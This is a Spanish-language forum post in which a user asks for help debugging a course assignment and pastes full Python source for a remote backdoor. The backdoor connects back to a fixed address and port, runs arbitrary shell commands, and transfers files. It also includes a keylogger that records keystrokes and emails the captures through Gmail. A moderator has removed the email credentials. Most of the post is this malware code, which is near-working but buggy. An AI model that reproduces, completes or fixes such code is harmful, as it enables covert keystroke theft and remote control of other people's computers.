Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - R3fr4kt

#1
Buenas a todos!
Me estoy volviendo un poco loco con esta tarea que me han mandado en el curso...
Os cuento:
Tengo que implementar un keylogger remoto dentro de una backdoor y debe de tener un método para inicarse,otro para detenerse,otro para descargar lo capturado y por último otro para enviar un correo con la captura...
El problema es que una vez que tecleo la palabra clave para invocar al mètodo desde la màquina listener ,se me para....
Alguien me podría ayudar
Aqui os dejo el código
Código: python

import socket
import subprocess
import json
import os
import base64
import smtplib
import datetime
from pynput import keyboard
import threading


log = ""
listener = ""

class Backdoor:
    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect(("192.168.1.193",4444))
        self.connection.send("\n [+] Conexión establecida \n".encode())
   
    def envio_seguro(self,datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def recepcion_segura(self):
        json_data = ""
        while True:
            try:
                json_data = self.connection.recv(1024)
                return json.loads(json_data.decode("utf-8"))
            except ValueError:
                continue

    def cambiar_directorio(self,ruta):
        os.chdir(ruta)
        return("Cambiando de directorio ".encode())

    def entrar_directorio(self,ruta):
        os.chdir(ruta)
        return("Entrando en directorio {}".format(ruta).encode())


    def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True)

    def leer_archivo(self,ruta):
        with open(ruta,"rb") as file:
            return base64.b64encode(file.read())
   
    def subir_archivo(self,archivo,contenido):
        with open(archivo,"wb") as file:
            file.write(base64.b64decode(contenido))
            return "[+] ¡Archivo subido!"

    def crear_carpeta(self,comando):
        os.mkdir(comando)
        return "[+] ¡Carpeta creada!"

    def captura(self,key):
        global log
        file = open("captura.txt","r+")
        tecla = str(key)
        if tecla == 'Key.space':
            tecla = " "
        elif tecla == 'Key.enter':
            tecla = "\n"
        elif tecla == 'Key.backspace':
            tecla = "%BORRAR%"
        else:
            tecla = tecla.replace("'","")
        log = log + tecla
        file.write(log)
       
       
    def descargar_captura(self,contenido):
        d = datetime.datetime.now()
        with open("captura{}.txt".format(d),contenido) as file:
            file.read()
            return "[+] Captura descargada".encode()


    def enviar_mail(self,contenido):
        d = datetime.datetime.now()
        f = open("captura{}.txt".format(d),contenido)
        mensaje = f.read()
        server = smtplib.SMTP("smtp.gmail.com",587)
        server.starttls()
        server.login("[email protected]","XXXXXXX")
        server.sendmail("[email protected]","[email protected]",mensaje)
        server.quit()
        return "Correo enviado".encode()

    def iniciar_captura(self):
        global listener
        listener = keyboard.Listener(self.captura)
        listener.start()
        while listener.is_alive():
            pass
   


    def run(self):           
        while True:
            comando = self.recepcion_segura()
            if comando[0] == "salir":
                self.connection.close()
                exit()
            elif comando[0] == "cd" and comando [1] == "..":
                resultado_comando = self.cambiar_directorio(comando[1])
            elif comando[0] == "cd" and len(comando[1]) > 2:
                resultado_comando = self.entrar_directorio(comando[1])
            elif comando[0] == "descargar":
                resultado_comando = self.leer_archivo(comando[1])
            elif comando[0] == "subir":
                resultado_comando = self.subir_archivo(comando[1],comando[2])
            elif comando[0] == "carpeta":
                resultado_comando = self.crear_carpeta(comando[1])
            elif comando[0] == "start":
                t = threading.Thread(target=self.iniciar_captura)
                t.start()
                return "[+] Keylogger iniciado"
            elif comando[0] == "stop":
                listener.stop()
                return "[-] Keylogger Detenido"
            elif comando[0] == "descargar_captura":
                resultado_comando = self.descargar_captura()
            elif comando[0] == "mail":
                resultado_comando = self.enviar_mail()
            else:
                resultado_comando = self.ejecutar_comando(comando)
       
            self.envio_seguro(resultado_comando.decode("utf-8"))

   
        connection.close()

backdoor = Backdoor("192.168.1.193",4444)
backdoor.run()



Edit by @blackdrake: Borrados los datos (email y password) de gmail